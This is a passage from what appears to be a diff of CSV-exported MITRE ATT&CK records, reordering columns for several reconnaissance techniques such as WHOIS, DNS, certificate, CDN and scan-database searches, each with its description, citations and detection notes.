Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 17:01:42.558000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:01:42.558Z,2021-04-15T03:45:31.020Z,Search Closed Sources,"Adversaries may search and gather information about victims from closed sources that can be used during targeting. Information about victims may be available for purchase from reputable private sources and databases, such as paid subscriptions to feeds of technical/threat intelligence data.(Citation: D3Secutrity CTI Feeds) Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.(Citation: ZDNET Selling Data) -Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1597', external_id='T1597'), ExternalReference(source_name='D3Secutrity CTI Feeds', description='Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', url='https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'), ExternalReference(source_name='ZDNET Selling Data', description='Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', url='https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/')]",attack-pattern--a51eb150-93b1-484b-a503-e51453b127a4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:45:31.020000+00:00,Search Closed Sources,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different closed databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1597', 'external_id': 'T1597'}, {'source_name': 'D3Secutrity CTI Feeds', 'description': 'Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.', 'url': 'https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/'}, {'source_name': 'ZDNET Selling Data', 'description': 'Cimpanu, C. (2020, May 9). A hacker group is selling more than 73 million user records on the dark web. Retrieved October 20, 2020.', 'url': 'https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 17:00:44.586000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T17:00:44.586Z,2021-04-15T03:49:49.260Z,Scan Databases,"Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan) -Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596/005', external_id='T1596.005'), ExternalReference(source_name='Shodan', description='Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', url='https://shodan.io')]",attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:49:49.260000+00:00,Scan Databases,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/005', 'external_id': 'T1596.005'}, {'source_name': 'Shodan', 'description': 'Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', 'url': 'https://shodan.io'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:59:56.648000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:59:56.648Z,2021-04-15T03:47:55.905Z,CDNs,"Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region. -Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596/004', external_id='T1596.004'), ExternalReference(source_name='DigitalShadows CDN', description='Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', url='https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/')]",attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:47:55.905000+00:00,CDNs,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization’s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/004', 'external_id': 'T1596.004'}, {'source_name': 'DigitalShadows CDN', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:58:58.738000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:58:58.738Z,2021-04-15T03:48:37.628Z,Digital Certificates,"Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. -Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596/003', external_id='T1596.003'), ExternalReference(source_name='SSLShopper Lookup', description='SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', url='https://www.sslshopper.com/ssl-checker.html'), ExternalReference(source_name='Medium SSL Cert', description='Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', url='https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2')]",attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:48:37.628000+00:00,Digital Certificates,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/003', 'external_id': 'T1596.003'}, {'source_name': 'SSLShopper Lookup', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', 'url': 'https://www.sslshopper.com/ssl-checker.html'}, {'source_name': 'Medium SSL Cert', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:57:45.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:57:45.044Z,2021-04-15T03:49:13.409Z,DNS/Passive DNS,"Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. -Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596/001', external_id='T1596.001'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/')]",attack-pattern--17fd695c-b88c-455a-a3d1-43b6cb728532,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:49:13.409000+00:00,DNS/Passive DNS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search DNS data to gather actionable information. Threat actors can query nameservers for a target organization directly, or search through centralized repositories of logged DNS query responses (known as passive DNS).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Adversaries may also seek and target DNS misconfigurations/leaks that reveal information about internal networks. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/001', 'external_id': 'T1596.001'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:56:49.744000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:56:49.744Z,2021-04-15T03:50:44.113Z,WHOIS,"Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS) -Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596/002', external_id='T1596.002'), ExternalReference(source_name='WHOIS', description='NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', url='https://www.whois.net/')]",attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:50:44.113000+00:00,WHOIS,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search WHOIS data to gather actionable information. Threat actors can use online resources or command-line utilities to pillage through WHOIS data for information about potential victims. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596/002', 'external_id': 'T1596.002'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,True,,,,['PRE'],,,,1.0 -2020-10-02 16:56:05.810000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",True,,['PRE'],1.0,,,,,,, +attack-pattern,attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-02T16:56:05.810Z,2021-04-15T03:50:44.308Z,Search Open Technical Databases,"Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan) -Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1596', external_id='T1596'), ExternalReference(source_name='WHOIS', description='NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', url='https://www.whois.net/'), ExternalReference(source_name='DNS Dumpster', description='Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', url='https://dnsdumpster.com/'), ExternalReference(source_name='Circl Passive DNS', description='CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', url='https://www.circl.lu/services/passive-dns/'), ExternalReference(source_name='Medium SSL Cert', description='Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', url='https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2'), ExternalReference(source_name='SSLShopper Lookup', description='SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', url='https://www.sslshopper.com/ssl-checker.html'), ExternalReference(source_name='DigitalShadows CDN', description='Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', url='https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/'), ExternalReference(source_name='Shodan', description='Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', url='https://shodan.io')]",attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='reconnaissance')]",2021-04-15 03:50:44.308000+00:00,Search Open Technical Databases,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,,,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. +Adversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'reconnaissance'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1596', 'external_id': 'T1596'}, {'source_name': 'WHOIS', 'description': 'NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.', 'url': 'https://www.whois.net/'}, {'source_name': 'DNS Dumpster', 'description': 'Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.', 'url': 'https://dnsdumpster.com/'}, {'source_name': 'Circl Passive DNS', 'description': 'CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.', 'url': 'https://www.circl.lu/services/passive-dns/'}, {'source_name': 'Medium SSL Cert', 'description': 'Jain, M. (2019, September 16). Export & Download — SSL Certificate from Server (Site URL). Retrieved October 20, 2020.', 'url': 'https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2'}, {'source_name': 'SSLShopper Lookup', 'description': 'SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.', 'url': 'https://www.sslshopper.com/ssl-checker.html'}, {'source_name': 'DigitalShadows CDN', 'description': 'Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed – How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020.', 'url': 'https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/'}, {'source_name': 'Shodan', 'description': 'Shodan. (n.d.). Shodan. Retrieved October 20, 2020.', 'url': 'https://shodan.io'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. -Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",,,,,False,,,,['PRE'],,,,1.0 -2020-10-02 16:55:16.047000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use. +Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",False,,['PRE'],1.0,,,,,,, 